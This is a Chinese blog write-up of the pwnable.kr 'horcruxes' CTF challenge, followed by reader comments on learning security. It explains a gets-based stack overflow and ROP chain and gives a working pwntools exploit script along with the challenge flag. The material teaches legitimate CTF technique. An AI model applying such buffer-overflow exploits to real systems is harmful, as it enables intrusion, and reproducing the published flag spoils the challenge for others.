前言
......好吧,因为图源炸了,我不得不给出一些声明。
文中所用到的技术 仅用于 逆向技术的学习与交流。请勿用于一切形式的非法用途。
学算法学不下去可以来折腾 CTF( 刚开始学当然是逆向工程和密码学比较友好,本地分析完直接交 flag 就是了。学了计网就可以稍微变难一点。
那问题在于怎么入 pwn 的门?直接看攻防世界或者 buuoj 上的题貌似都有点不太友好——而 pwnable.kr 也是一个用于快速入门的网站。感觉难度上由简到难,最后是可以一起同先前的网站按照栈题到堆题的顺序学下去的。
虽然其中也有部分不是 pwn 的题目,但作为拓宽攻击思路的启发,我觉得可以去刷刷。
需要说明的是,算法也很重要。学好了再来做安全是会让安全上锁上到死锁的(。
但在此之前,pwn 的分析过程通常是先确定程序的状态:
- 32 位还是 64 位;
- 小端序还是大端序;
- 我们对 GOT 表是否有写权限(即 RELRO 1是否为” Partial RELRO” 或者 “No RELRO”);
- 有无栈溢出的金丝雀(Canary)保护;
- 有无堆栈不可执行(NX);
- 有无内存地址随机化(PIE, Position-Independent-Executable)。
上述判断可在 Linux 中的终端键入 checksec [program-name]
完成。
随后再考虑使用 IDA 或者加载了 pwndbg 或者 peda 的 gdb 做二进制分析。之后就用积累的经验来进一步利用 python 脚本或者通过汇编代码推导出的答案来攻陷存在漏洞的程序或者机器。
而这个积累过程是非常艰辛的。我就不细讲太多内容了。只希望这能引起注意。感兴趣的赶快上路才是王道,年轻和时间永远是最珍贵的东西。
同时,不会做没有关系,首先肯定得学习别人的解题思路,之后再举一反三。算法都是如此,那 pwn 也一样,做多了才有感觉。
需要的知识以及工具
列举可能不够全面。
预备知识应该包括但不限于以下内容。
- Linux 上常用的指令操作;
- 汇编过程;
- c 程序在调用函数时的汇编过程。
- 计算机网络常识;
- python 编程常识。
入门阶段需要的工具同样包括但不限于以下内容。
- 搭载有如 python、gcc、gdb、pwndbg、peda 等工具和环境的 Linux 系统;
- Windows 命令行;
- IDA 32 位与 64 位。
假定读者已经能比较熟练地掌握上述知识。
举例
以 [Toddler’s Bottle] 栏目的最后一题 horcruxes 为例,需要键入 ssh horcruxes@pwnable.kr -p2222
远程连接到服务器上并输入密码 guest
从而以 horcruxes 用户进入服务器的 /home/horcruxes
目录。
输入密码的过程不会显示,这是保护用户安全的一个细节。
到了目录的第一件事就是看目录有什么文件。可以使用 ls -liah
把文件在系统上的基本信息全都列出来。
发现有用的是可执行文件 horcruxes 还有一个文本文件 readme。
由于没有代码,我们需要先检查程序的状态然后从服务器下载下 horcruxes;又注意到 readme 的存在,不妨先用 cat
指令读一读里面的内容。
由结果可知,程序是 32 位小端序,堆栈不可执行以外没有其它限制。这意味着代码段内存被设置为不可写、栈溢出 是允许的。同时需要通过代码 / 人工键入来远程连接到主机的 9032 端口才能尝试获取到 flag。
接下来就需要从服务器下载那个可执行文件。使用到的指令是 scp
。在 Windows 控制台下输入的方式如下。
scp -P 2222 [user-name-In-server]@[ip-address]:[file-path-In-linux] [path-to-downloading-file-name]
# -P 后接的是指定连接端口号。
# 不指定端口号也能下载文件。
从本地上传到服务器则是
scp -C [path-to-file-name] [user-name]@[ip-address]:[folder-path-in-linux]
这样就能下载到指定的目录之中。然后需要使用 IDA.exe 来反汇编。
进入 IDA 可以看到这个程序的调用结构。
可以看到上面的几个函数开启了系统的防护,这使得直接使用系统调用或者干别的绕过都是行不通的。
我们再来看一看 暗示本身和初始化了什么内容。
不难联想到这七个值就是要找的东西了。我们再来看一下最后在 main
函数中作为返回值返回、且需要重点关照的 ropme
函数,进而思考如何确立攻击的手段。
以及以前七个大写字母命名的函数。
某些时候是能直接通过动态调试调出 flag 的,但是这里由于与远程主机通信的缘故,动态调试的做法完全不可行。这迫使我们转换思路。
可以根据“栈溢出”将动态调试改为 劫持 程序运行的过程。
由于程序在 main
的最后只给一次运行 ropme
的机会,如不能一次直接获取到七个值或者直接绕过判断,那自然就不能得到 flag。
总之现在看,有两种方式可以帮助我们搞到 flag:
- 第一种是直接让最后
ropme
函数的返回地址定向到传参数准备调用其中open
函数的地址。 - 第二是构造调用关系链 $\text{Call}:\mathsf {A} \to \mathsf {B} \to \mathsf {C} \to \mathsf {D} \to \mathsf {E} \to \mathsf {F} \to \mathsf {G} \to \mathsf {ropme}$ 通过求
sum
间接爆出 flag。
然而,第一种方式是不可行的。因为 open
函数的地址含有 0x0a
,会使得 gets
函数解析为换行 \n
的 ascii 码。导致后面的内容读不进去从而造成失效。
同理,
\r
(也即0xd
)有时也有问题。
所以只能用第二种方法。
因此思路很明确:我们需要利用 gets
函数覆写即将结束整个程序的 ropme
的返回地址,使之从 函数 A
调用到函数 G
之后再调用一次自己,从而能为我们争取到爆破出 flag 的机会。从而形成下面的调用关系链。
也就是说,把下面这条语句的返回值给覆盖掉。具体要覆盖多少,还得看 gdb
的汇编结果。
一些读者可能会奇怪,不是 0x74
个字节就能到 ebp
了吗,为什么还要额外加四个字节?
原因在于我们要覆盖的是返回地址。
call
指令本质上相当于
push [Address-0f-n3xt-Instruction-After-Calling-fun(tion] ; 也即 push eip
jmp [fun(tion]
所以只要覆盖得当,就能让 eip
或者 rip
跳到合适的指令位置。
如果不理解为什么的话,建议去看看 CSAPP 或者找博客来学一下函数调用过程吧。这相当基础。或者我再提供一张图作为解释。
在开辟栈帧后,从作用效果上看,ebp 会被下拉到下一个 esp 所在位置并存储(指向)自身在下拉之前的地址值,以便在调用结束时返回。而这个就是需要掌握的常识之一。
相当于调用call
之后让计算机执行。注意,c 语言中 $64$ 位的传参方式与 $32$ 位不同。
按照 Intel 的汇编格式,有
push ebp
mov ebp, esp ; 将 esp 赋值给 ebp。相当于下拉 ebp。
相应地,ret
指令标志着一段函数的结束。执行到这一步时,函数往往已经收回了栈帧并回弹了最后指向返回地址的 esp
或者 rsp
。
继续按照 Intel 的汇编格式,具体的做法可以理解为
mov eip, esp ; 将 esp 赋值给 eip。
pop esp ; 弹出 esp。
所以在攻击上,我们需要写入 $120$ 个字节以及七个函数外加最终的 ropme
函数的按照字节编码成的地址。
在栈上形成以下的结构(ROP 链)。
内存中的一段栈 | |
---|---|
$$\ldots$$ | $$\ldots$$ |
$\mathsf{ebp + 0x24}$ | $\mathsf{ropme}$ 的返回地址。 |
$\mathsf{ebp + 0x20}$ | 跳转到开始执行 $\mathsf{ropme}$ 的地址。 |
$\mathsf{ebp + 0x1c}$ | 跳转到开始执行函数 $\mathsf{G}$ 的地址,其返回地址为 $\mathsf{ropme}$。 |
$\mathsf{ebp + 0x18}$ | 跳转到开始执行函数 $\mathsf{F}$ 的地址,其返回地址为 $\mathsf{G}$。 |
$\mathsf{ebp + 0x14}$ | 跳转到开始执行函数 $\mathsf{E}$ 的地址,其返回地址为 $\mathsf{F}$。 |
$\mathsf{ebp + 0x10}$ | 跳转到开始执行函数 $\mathsf{D}$ 的地址,其返回地址为 $\mathsf{E}$。 |
$\mathsf{ebp + 0x0c}$ | 跳转到开始执行函数 $\mathsf{C}$ 的地址,其返回地址为 $\mathsf{D}$。 |
$\mathsf{ebp + 0x08}$ | 跳转到开始执行函数 $\mathsf{B}$ 的地址,其返回地址为 $\mathsf{C}$。 |
$\mathsf{ebp + 0x04}$,也即未被爆破前函数 $\mathsf{ropme}$ 的返回地址 | 跳转到开始执行函数 $\mathsf{A}$ 的地址,其返回地址为 $\mathsf{B}$。 |
$\mathsf{ebp} \to$ | 原本是旧的 $\mathsf{ebp}$ 现已被覆盖为 $\mathcal{aaaa}$。 |
当函数可传入参数时,攻击的 payload
往往可以写成 覆盖字符串 + 函数地址 + 函数返回地址 + 传参 的形式。其中,当函数返回地址也需要传参的时候,这个时候就需要在纸面上想清楚关系了。
那么最终得到以下脚本以及答案 Magic_spell_1s_4vad4_K3daVr4!
。
from pwn import *
""" context(arch='i386', os='linux') # 设置类型,64 位才需要 """
peter = remote('pwnable.kr', 9032) # 绑定此主机以及端口号
payload = b't' * 0x78 # 0x78 换成 120 也行,用于溢出的字符不要太随意即可
payload += p32(0x0809FE4B)
payload += p32(0x0809FE6A)
payload += p32(0x0809FE89)
payload += p32(0x0809FEA8)
payload += p32(0x0809FEC7)
payload += p32(0x0809FEE6)
payload += p32(0x0809FF05)
payload += p32(0x0809FFFC) # 从 main 函数中的进去而不是函数最初的地址。
peter.sendlineafter('Select Menu:', b'1')
peter.sendlineafter('How many EXP did you earned? : ', payload) # 这里开始利用 gets 攻击
peter.recvline()
summer = 0
for i in range(7):
temp = peter.recvline().decode() # 开始累加值
summer += int(temp.strip(')\n').split('+')[1])
""" 计算 sum 准备输出答案 """
peter.sendlineafter('Select Menu:', b'1')
peter.sendlineafter('How many EXP did you earned? : ', str(summer))
log.info(peter.recvline())
致谢
感谢 这篇博客 带来的学习体验。
-
也即设置符号重定向表格为只读,意思是启动程序时就解析并动态绑定所有动态的符号。避免 pwner 对程序链接过程的攻击。 ↩
佬,我是网安专业大二的,但是之前一直在搞算法项目那些,没有学网络安全的内容,想问一下现在想入门CTF该怎么学呢,我看过nssctf,helloctf,还有ctfshow,但题目根本不知道怎么动手,也不知道从哪里开始,大部分视频也都不怎么清楚,想问一下有什么可以入门的办法吗,或者最好是有一些视频可以带着做题的,谢谢😭
不算什么佬,我相比同级的人也是了解得晚了。因为下周考试的缘故,我也已经很久没接触pwn或者二进制了……即使如此,我倒也是一直通过持续不断地阅读、编写和测试也慢慢读懂了其它方向上的手段。不管怎么说,不会很正常。人不是天生就懂得说话的,总是需要通过一定量的模仿去一步一步地建立对某个模型的认识,进而形成自己的知识体系以及经验教训。
也需要注意的是,如果这个过程没有人带练,一个人很难在短时间内发展起来的。所以你如果能找到比我更厉害的人甚至是业内的人带,那最好不过,至少比我更有希望在这一行从事下去。不过没有人带也不要紧,你如果passion很够,就按照网上的资源一步步练下去然后再到独立做每一道题,再然后就是主动参与某些公开的比赛就是了。拿奖最好,直接写在简历上随便别人问然后招你。
咱网安很杂,什么方向都有。不过最先要做的是深入了解操作系统、计算机网络、计算机系统这三个极其重要的基础,同时大概知道
c, c++, python, javascript, php, java
是怎么编的。没有它们还有 linux,别人做什么你就完全看不懂了。shell 和 git 也建议勤学勤用,计算机这行,工作上基本都会用到。推荐去读一读计算机教育中缺失的一课。其次就是看你自己对哪个方向特别感兴趣,然后深入进去的同时,通过不限于ctf-wiki.org和到bilibili上看别人实操的方式粗略了解其它方向的攻击手段。言归正传。
其实都挺不容易的,我到现在我也不敢说我本领很扎实,懂得多但是不精。内耗了蛮久,还是没有成为自己心目中的专家🥀